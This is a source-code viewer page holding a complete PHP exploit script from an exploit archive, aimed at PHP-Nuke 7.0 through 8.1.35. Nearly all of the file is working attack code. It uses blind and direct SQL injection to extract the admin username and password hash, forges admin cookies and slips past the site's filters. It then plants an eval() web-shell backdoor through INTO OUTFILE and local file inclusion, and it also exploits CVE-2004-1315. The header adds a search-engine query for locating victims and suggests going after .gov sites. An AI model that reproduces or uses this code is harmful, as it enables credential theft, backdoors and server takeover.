PageRenderTime 337ms CodeModel.GetById 111ms app.highlight 88ms RepoModel.GetById 123ms app.codeStats 0ms

/platforms/php/webapps/12510.php

https://github.com/B-Rich/exploit-database
PHP | 548 lines | 494 code | 0 blank | 54 comment | 17 complexity | 8f5eb60bbb13f8afe37f959a819d4b99 MD5 | raw file
  1#!/usr/bin/php
  2<?php
  3/*******************************************************************************
  4Wormable Remote Code Execution in PHP-Nuke 7.0/8.1/8.1.35(newist as of release)
  5Vendor's Website:http://phpnuke.org/
  6Secuirty Researcher: Michael Brooks (https://sitewat.ch)
  7Original Advisory: http://blog.sitewat.ch/2010/05/vulnerabilities-in-php-nuke.html
  8
  9Google hack:
 10"Francisco Burzi"  "Page Generation:"  Seconds inurl:modules.php
 111,170,000 results
 12add inurl:gov to the google hack if you want to make the news ;)
 13Works with maigic_quotes_gpc=On or Off
 14Works with AppArmor and Suhosin Hadend-PHP, tested on Ubuntu 9.04 and 10.04
 15My own LFI+SQLI attack is used to bypass AppArmor!
 16Also tested XAMPP on Windows XP
 17All tests where done with MySQL5 and PHP5
 18To obtain a user's cookie:
 191) Register a normal account
 202) Login
 213) Type this into the same address bar and hit enter: javascript:document.cookie
 22To set a cookie you can do use this: javascript:document.cookie="admin=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2"
 23*******************************************************************************/
 24set_time_limit(0);
 25//The blind_sql_injeciton calss is a general exploit framework that we are inheriting.
 26class php_nuke_blind_sql_injection extends blind_sql_injection {
 27    //This is the blind sql injection request.
 28    function query($check){
 29        //Rate limiter to bypass ipban.php's protection.
 30        //Must stay below 5 requests every 2 seconds.
 31        if(!($this->request_count%4)){
 32            sleep(2);
 33        }
 34        //build the http request to Inject a query:
 35        //This is a simple get request with a custom referer
 36	     //$this->set_referer("'="/\*"  (select ".$check." from nuke_authors limit 1))-- */");
 37        $this->set_referer("'=(select ".$check." from nuke_authors limit 1))-- 1");
 38        /*example get and post request.
 39        *$this->set_get("id=1 or (select ".$check." from nuke_authors limit 1))";//$_GET[id]
 40        *$this->set_post("id=1 or (select ".$check." from nuke_authors limit 1))");//$_POST[id]
 41        */
 42    }
 43}
 44//This is a very efficient blind sql injection class. 
 45class blind_sql_injection{
 46    var $url, $backup_url, $result, $http, $request_count, $timeout;
 47    function blind_sql_injection($url,$timeout=10){
 48        $this->request_count=0;
 49        $this->url=$url;
 50        $this->backup_url=$url;
 51        $this->http=new http_client();
 52        $this->timeout=$timeout;
 53    }
 54    function set_get($get){
 55        $this->url=$this->url."?".$get;
 56    }
 57    function set_referer($referer){
 58        $this->http->referer=$referer;
 59    }
 60    function set_post($post){
 61        $this->http->postdata=$post;
 62    }
 63    function test_target(){
 64        return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)");
 65    }
 66    function num_to_hex($arr){
 67        $ret='';
 68        foreach($arr as $a){
 69            if($a<=9){
 70                $ret.=$a;
 71            }else{
 72                $ret.=chr(87+$a);
 73            }
 74        }
 75        return $ret;
 76    }
 77    //Looking for a string of length 32 and base 16 in ascii chars.
 78    function find_md5($column){
 79        return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)"));
 80    }
 81    function find_sha1($column){
 82        return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)"));
 83    }
 84    //Look for an ascii string of arbitrary length.
 85    function find_string($column){
 86        $ret='';
 87        //A length of zero means we are looking for a null byte terminated string.
 88        $result=$this->bin_finder(128,0,"ascii(substring($column,%s,1))");
 89        foreach($result as $r){
 90            $ret.=chr($r);
 91        }
 92        return $ret;
 93    }
 94    //query() is a method that generates the sql injection request
 95    function query($check){
 96        //This function must be overridden.
 97    }
 98    function recheck($result,$question,$base){
 99       $this->bin_finder($base,1,$question,$start);
100       //Force a long timeout.
101       $tmp_timeout=$this->timeout;
102       if($this->timeout<10){
103          $this->timeout=10;
104       }else{
105          $this->timeout=$this->timeout*2;
106       }
107       $l=1;
108       foreach($result as $r){
109          if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){
110              $result[]=$b;
111              break;
112          }
113          $l++;
114       }
115       $this->timeout=$tmp_timeout;
116    }
117    function linear_finder($base,$length,$question){
118        for($l=1;$l<=$length;$l++){
119            for($b=0;$b<$base;$b++){
120                if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){
121                    $result[]=$b;
122                    break;
123                }
124            }
125        }
126    }
127    #Binary search for mysql based sql injection.
128    function bin_finder($base,$length,$question){
129         $start_pos=1;
130        $result='';
131        for($cur=$start_pos;$cur<=$length||$length==0;$cur++){
132            $n=$base-1;
133            $low=0;
134            $floor=$low;
135            $high=$n-1;
136            $pos= $low+(($high-$low)/2);
137            $found=false;
138            while($low<=$high&&!$found){
139                #asking the sql database if the current value is greater than $pos
140                if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
141                    #if this is true then the value must be the modulus.
142                    if($pos==$n-1){
143                       $result[]=$pos+1;
144                       $found=true;
145                    }else{
146                        $low=$pos+1;
147                    }
148                #asking the sql database if the current value is less than $pos
149                }else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
150                   #if this is true the value must be zero, or in the case of ascii,  a null byte.
151                   if($pos==$floor+1){
152                        $found=true;
153                        #We have found the null terminator so we have finnished our search for a string.
154                        if($length==0){
155                            $length=-1;
156                        }else{
157                            $result[]=$pos-1;
158                        }
159                    }else{
160                        $high=$pos-1;
161                    }
162                }else{
163                    #both greater than and less then where asked, so so then the answer is our guess $pos.
164                    $result[]=$pos;
165                    $found=true;
166                }
167                $pos=$low+(($high-$low)/2);
168            }
169            print(".");
170        }
171        return $result;
172    }
173    //Fire off the request
174    function send($quesiton){
175        //build the injected query.
176        $this->query($quesiton);
177        $start=time();
178        $resp=$this->http->send($this->url);
179        //backup_url is for set_get()
180        $this->url=$this->backup_url;
181        $this->request_count++;
182        return (time()-$start>=$this->timeout);
183    }
184    //retroGod RIP
185    function charEncode($string){
186        $char="char(";
187        $size=strlen($string);
188        for($x=0;$x<$size;$x++){
189            $char.=ord($string[$x]).",";
190        }
191        $char[strlen($char)-1]=")%00";
192        return $char;
193    }
194}
195//General purpose http client that works on a default php install. 
196class http_client{
197    var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata='';
198    function send($loc){
199         //overload function polymorphism between gets and posts
200         $url=parse_url($loc);
201         if(!isset($url['port'])){
202            $url['port']=80;
203        }
204         $ua='Firefox';
205         if($this->proxy_ip!=''&&$this->proxy_port!=''){
206            $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );
207            $url['path']=$url['host'].':'.$url['port'].$url['path'];
208         }else{
209            $fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );
210         }
211         if( !$fp ) {
212            print "$errstr ($errno)<br>\nn";
213            return false;
214         } else {
215            if( $this->postdata=='' ) {
216                $request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
217            } else {
218                $request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
219            }
220            if($this->proxy_name!=''&&$this->proxy_pass!=''){
221                $request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n";
222            }
223            $request.="Host: ".$url['host'].":".$url['port']."\r\n";
224            $request.="User-Agent: ".$ua."\r\n";
225            $request.="Accept: text/plain\r\n";
226            if($this->referer!=''){
227                $request.="Referer: ".$this->referer."\r\n";
228            }
229            $request.="Connection: Close\r\n";
230            if($this->cookie!=''){
231                $request.="Cookie: ".$this->cookie."\r\n" ;
232            }
233            if( $this->postdata!='' ) {
234                $strlength = strlen( $this->postdata );
235                $request.="Content-type: application/x-www-form-urlencoded\r\n" ;
236                $request.="Content-length: ".$strlength."\r\n\r\n";
237                $request.=$this->postdata;
238            }
239            fputs( $fp, $request."\r\n\r\n" );
240               while( !feof( $fp ) ) {
241                   $output .= fgets( $fp, 1024 );
242               }
243            fclose( $fp );
244            //php_nuke only:
245            if(strstr($output,"too many page loads")){
246                print "REQUEST CAP HIT!\n";
247                print_r(debug_backtrace());
248                print "REQUEST CAP HIT!\n";
249                die();
250            }
251            return $output;
252         }
253    }
254    //Use a http proxy
255    function proxy($proxy){ //user:pass@ip:port
256        $proxyAuth=explode('@',$proxy);
257        if(isset($proxyAuth[1])){
258            $login=explode(':',$proxyAuth[0]);
259            $this->proxy_name=$login[0];
260            $this->proxy_pass=$login[1];
261            $addr=explode(':',$proxyAuth[1]);
262        }else{
263            $addr=explode(':',$proxy);
264        }
265	     $this->proxy_ip=$addr[0];
266        $this->proxy_port=$addr[1];
267    }
268    //Parses the results from a PHP error to use as a path disclosure.
269    function getPath($url,$pops=1){
270        $html=$this->send($url);
271        //Regular error reporting:
272        $resp=explode("array given in <b>",$html);
273        if(isset($resp[1])){
274            $resp = explode("</b>",$resp[1]);
275        }else{
276            //xdebug's error reporting:
277            $resp=explode("array given in ",$html);
278            if(isset($resp[1])){
279                $resp = explode(" ",$resp[1]);
280            }else{
281                $resp[0]=false;
282            }
283        }
284        $path=$resp[0];
285        //Can't use dirname()
286        if(strstr($path,"\\")){
287           $p=explode("\\",$path);
288           for($x=0;$x<$pops;$x++){
289               array_pop($p);
290           }
291           $path=implode("\\",$p);
292        }else{
293           $p=explode("/",$path);
294           for($x=0;$x<$pops;$x++){
295               array_pop($p);
296           }
297           $path=implode("/",$p);
298        }
299        return $path;
300    }
301    //Grab the server type from the http header.
302    function getServer($url){
303        $resp=$this->send($url);
304        $header=explode("Server: ",$resp);
305        $server=explode("\n",$header[1]);
306        return $server[0];
307    }
308}
309function main(){
310   $user_input=getopt("t:c:a:");
311   if($user_input['t']){
312      $attack_url=$user_input['t'];
313      if($user_input['c']){
314         $user_cookie=$user_input['c'];
315      }
316      //This is only useful for debugging,  so its not listed in the useage.
317      if($user_input['a']){
318         $admin_cookie=$user_input['a'];
319      }
320   }else{
321      print("Useage: ./php_exploit -t http://localhost\n");
322      die("A user's cookie is required for 8.1.35 : ./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==\n");
323   }
324   $attack_url=str_replace("index.php","",$attack_url);
325   $http=new http_client();
326   $sex=new php_nuke_blind_sql_injection($attack_url."/");
327   if(!$admin_cookie){
328	  //This is what a cookie looks like:
329	  //2:user_name:21232f297a57a5a743894a0e4a801fc3:10::0:0:0:0:DeepBlue:4096
330	  //$user_cookie="user=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2";
331	  if($user_cookie){
332        print "Using cookie...\n";
333        $http->cookie=$user_cookie;
334        //1337+30000 is used as a pivot in parsing,  and to test for a sucessful injection.
335        //This is NOT Blind SQL Injection,  we will be reading the result.  This attack works with magic_quotes_gpc on or off.
336        $http->postdata="title=wow\\&bodytext=/*&mood=".urlencode("'*/,0,0,1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry";
337        $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");
338        //This part of the exploit is a bit strange sorry for the mess,  gotta realease!
339        if(strstr($response,"javascript:history.go(-1)")){
340            //magic_quotes_gpc=on
341            $http->postdata="title=wow&jbodytext=text&mood=".urlencode("',1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry";
342            $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");
343            $http->postdata='';
344            //Find the primary key of the journal entry we just created.
345            $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");
346            //we should have the single quote that we escaped at the end of wow'
347            $jid=explode("\">wow<",$jid);
348            $jid=explode("jid=", $jid[0]);
349            //Check the journal for the admin's username/password hash
350            $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]);
351            if(strpos($response,"31337")){
352               list($junk,$aid,$pwd)=explode("31337 @ ",$response);
353               $aid=explode("<",$aid);
354               $pwd=explode("<",$pwd);
355               $user_name=$aid[0];
356               $pass_hash=$pwd[0];
357            }else{
358               //magic_quotes_gpc=off
359               sleep(3);
360               $http->postdata="title=wow\\&jbodytext=/*&mood=1&status=".urlencode("no',(select aid from nuke_authors limit 1),(select pwd from nuke_authors limit 1))-- 1")."&submit=Add+New+Entry";
361               $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");
362               sleep(2);
363               $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");
364               $jid=explode("\">wow<",$jid);
365               $jid=explode("jid=", $jid[0]);
366               $jid=explode("\">",$jid[1]);
367               //Check the journal for the admin's username/password hash
368               $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[0]);
369               $inj=explode("Last updated on ",$response);
370               $inj=explode(" @ ",$inj[1]);
371               $pass_hash=$inj[0];
372               $inj=explode("<",$inj[1]);
373               $user_name=$inj[0];
374            }
375        }else{
376            $http->postdata='';
377            //Find the primary key of the journal entry we just created.
378            $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");
379            //we should have the single quote that we escaped at the end of wow'
380            $jid=explode("\">wow',<",$jid);
381            $jid=explode("jid=", $jid[0]);
382            //Check the journal for the admin's username/password hash
383            $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]);
384            if(!strpos($response,"31337")){
385               die("target has patched!\n");
386            }else{
387               print "Target vulnerable to a privilege escalation attack!!!\n";
388               list($junk,$aid,$pwd)=explode("31337 @ ",$response);
389               $aid=explode("<",$aid);
390               $pwd=explode("<",$pwd);
391               $user_name=$aid[0];
392               $pass_hash=$pwd[0];
393            }
394         }
395	   }else{
396         $sex->sleep="sleep(5)";
397         print "Starting Attack Against:".$attack_url."/\n";
398         print "Testing for blind sql injection...\n";
399         if(!$sex->test_target()){
400             print("Target might be running 8.1.35\n");
401             print("Try the privilege esciation attack to upload the shell:");
402             die("./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==\n");
403         }
404         print "Target is vulnerable to blind sql injection!!!\n";
405         print "Please Standby For Attack...\n";
406         $pass_hash=$sex->find_md5("pwd");
407         $user_name=$sex->find_string("aid");
408         print "attacked used:".$sex->request_count." requests.\n";
409	    }
410	    print "Found Admin's name:".$user_name."\n";
411	    print "Found MD5 Password hash:".$pass_hash."\n";
412	    $admin_cookie="admin=".base64_encode($user_name.":".$pass_hash.":").";";
413    }
414    print "Using Admin Session ID:\n".$admin_cookie."\n";
415    $http->cookie=$admin_cookie;
416    //ipban.php
417    sleep(3);
418    //This request will tell us what version of php-nuke it is.
419    //If it is 8, Then the page gives us configuration information to perserve.
420    $admin_options=$http->send($attack_url."/admin.php?op=general");
421    if(!strstr($admin_options,"Content-Length: 0")){
422        print "PHP-Nuke 8 detected.\n";
423        $option_values=explode("value='",$admin_options);
424        $x=0;
425        array_shift($option_values);
426        //Parsing out and storing configuration values to restore them after the hack. 
427        foreach( $option_values as $value){
428            $value=explode("'",$value);
429            $values[]=urlencode($value[0]);
430            if($x++==4)
431                break;
432        }
433        //ipban.php
434        sleep(2);
435        //Enable error reporting
436        $http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=1&op=savegeneral";
437        $error_reporting=$http->send($attack_url."/admin.php");
438        //Path diclosure in add_pwd.  We will trigger a warning by passing md5() the array add_pwd[].
439        $http->postdata="add_name=junk&add_aid=junk&add_email=junk&add_url=junk&add_admlanguage=&auth_modules%5B%5D=23&add_radminsuper=1&add_pwd[]=junk&op=AddAuthor";
440        $remote_path=$http->getPath($attack_url."/admin.php",3);
441        sleep(2);
442        if(strstr($remote_path,':\\')){
443            print "Windows box detected.\n";
444            print "Remote path:$remote_path\n";
445            print "Uploading backdoor...\n";
446            $remote_path=addslashes(addslashes($remote_path."\\frontend.php"));
447            $backdoor='get_magic_quotes_gpc()?eval(stripslashes($_GET["e"])):eval($_GET["e"])';
448            //Could have used a concat but php-nuke filters for it.  This hides <> from the xss filter.
449            //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php
450            $http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '".$remote_path."'-- 1");
451            $re=$http->send($attack_url."/admin.php?op=modifyUser");
452            //Disable error reporting
453            $http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=0&op=savegeneral";
454            $error_reporting=$http->send($attack_url."/admin.php");
455        }else{
456            print "*nix box detected.\n";
457            print "Remote path:$remote_path\n";
458            //Is mysql on the same machine as the httpd?
459            sleep(2);
460            $http->postdata="chng_uid=".urlencode("' or 1=(select if(substring(load_file('".$remote_path."/index.php'),1,1)='<',0,1))-- 1");
461            $mysql_check=$http->send($attack_url."/admin.php?op=modifyUser");
462            if(strstr($mysql_check,"User Doesn't Exists!")){
463                print("MySQL isn't on the same machine or you do not have file privileges.\n");
464                die("Remote code execution failed\n");
465            }
466            print "Uploading backdoor...\n";
467            //ipban.php
468            sleep(2);
469            //Grab the theme,  this is needed to repair the database after the LFI
470            $theme=$http->send($attack_url."/admin.php?op=themes");
471            $theme=explode('src="themes/',$theme);
472            $theme=explode('/images/',$theme[1]);
473            //Repair the database after the LFI.
474            $backdoor_installer='function OpenTable(){} function themeheader(){} $db->sql_query("update ".$prefix."_config set Default_Theme='.$sex->charEncode($theme[0]).', display_errors=0");';
475            //This is a magic_quotes_gpc and mysql safe backdoor that fits on one line.
476            $backdoor='get_magic_quotes_gpc()?eval(stripslashes(".chr(36)."_GET[".chr(34)."e".chr(34)."])):eval(".chr(36)."_GET[".chr(34)."e".chr(34)."])';
477            //Install the backdoor in a relitive directory.
478            $backdoor_installer.='file_put_contents($_SERVER["DOCUMENT_ROOT"].dirname($_SERVER["SCRIPT_NAME"])."/frontend.php",chr(60)."?php '.$backdoor.'?".chr(62));';
479            //charEncode is used to bypass XSS filters.
480	         //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php
481            $http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor_installer."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '/tmp/theme.php'-- 1");
482            $http->send($attack_url."/admin.php?op=modifyUser");
483            sleep(2);
484            //local file include vulnerablity to execute /tmp/theme.php
485            $http->postdata="xDefault_Theme=../../../../../../../../../../../tmp&xoverwrite_theme=0&op=savethemes";
486            $http->send($attack_url."/admin.php");
487            sleep(2);
488            $http->postdata='';
489            //Fire off a get request to trigger the uploaded php file using LFI
490            $http->send($attack_url);
491            sleep(2);
492            //Try the LFI again, just in case.
493            $http->send($attack_url."/admin.php");
494        }
495        sleep(2);
496        //test if the backdoor works,  try and clean up after the exploit.
497        $test_backdoor=$http->send($attack_url."/frontend.php?e=".urlencode("echo 31337;unlink('/tmp/theme.php');system('rm /tmp/theme.php');"));
498        if(strstr($test_backdoor,"31337")){
499            print "Remote Code execution tested successfully:\n".$attack_url."/frontend.php?e=phpinfo()".urlencode(';')."\n";
500        }else{
501            print "Backdoor install failed!\n";
502        }
503    }else{
504        ////PHP-Nuke 7.0 Remote Code Execution Exploit using CVE-2004-1315 which affects the phpBB 2.0.6 module.
505        print "PHP-Nuke 7 detected.\n";
506        $http->postdata="";//send get requests.
507        //Fire off a check for CVE-2004-1315,  phpbb maybe installed. 
508        //This is more like the oringal CVE-2004-1315: %2527.printf(20041315).%2527
509        //php-nuke was not vulnerable to this because of mainfile line 50: \([^>]*"?[^)]*\)
510        //to byapss this check double urlencode the parren () %2527.printf%252820041315%2529.%2527
511        $try_exploit=$http->send($attack_url."/modules.php?name=Forums&file=viewtopic&t=1&highlight=%2527.printf%252820041315%2529.%2527");
512        //if the exploit didn't work,  then we might have to enable phpbb and populate it.
513        if(!strstr($try_exploit,"20041315")){
514            //Enalbe PHPBB
515            $http->send($attack_url."/admin.php?op=module_status&mid=22&active=1");
516            //create a new category for phpbb
517            $http->postdata="mode=addcat&categoryname=test&addcategory=Create+new+category";
518            $t=$http->send($attack_url."/modules/Forums/admin/admin_forums.php");
519            //ipban.php
520            sleep(2);
521            //create a new form in the new category
522            $http->postdata="forumname%5B1%5D=t&addforum%5B1%5D=Create+new+forum&categoryname=test";
523            $t=$http->send($attack_url."/modules/Forums/admin/admin_forums.php?");
524            $http->postdata="forumname=t&forumdesc=t&c=1&forumstatus=0&prune_days=7&prune_freq=1&mode=createforum&f=&submit=Create+new+forum";
525            $http->send($attack_url."/modules/Forums/admin/admin_forums.php?");
526            //create a new topic in the new form
527            $http->postdata="username=t&subject=t&addbbcode18=%23444444&addbbcode20=12&helpbox=Insert+URL%3A+%5Burl%5Dhttp%3A%2F%2Furl%5B%2Furl%5D+or+%5Burl%3Dhttp%3A%2F%2Furl%5DURL+text%5B%2Furl%5D++%28alt%2Bw%29&message=test&mode=newtopic&f=1&post=Submit";
528            $http->send($attack_url."/modules.php?name=Forums&file=posting");
529            //ipban.php
530            sleep(2);
531            //access the first topic.
532            $http->postdata="";
533            //Check to see if any of the first 10 topics are exploitable.
534            for($t=1;$t<10&&!strstr($try_exploit,"20041315");$t++){
535                //Fire off a check for CVE-2004-1315.
536               $try_exploit=$http->send($attack_url."/modules.php?name=Forums&file=viewtopic&t=".$t."&highlight=%2527.printf%252820041315%2529.%2527");
537            }
538        }
539        //Check if we where able to hit CVE-2004-1315.
540        if(strstr($try_exploit,"20041315")){
541            print("Remote Code execution tested successfully:\n".$attack_url."/modules.php?name=Forums&file=viewtopic&t=".--$t."&highlight=%2527.phpinfo%2528%2529.%2527\nThis is a Doulbe urlencode()\n");
542        }else{
543            print("Remote code execution has failed!\n");
544        }
545    }
546}
547main();
548?>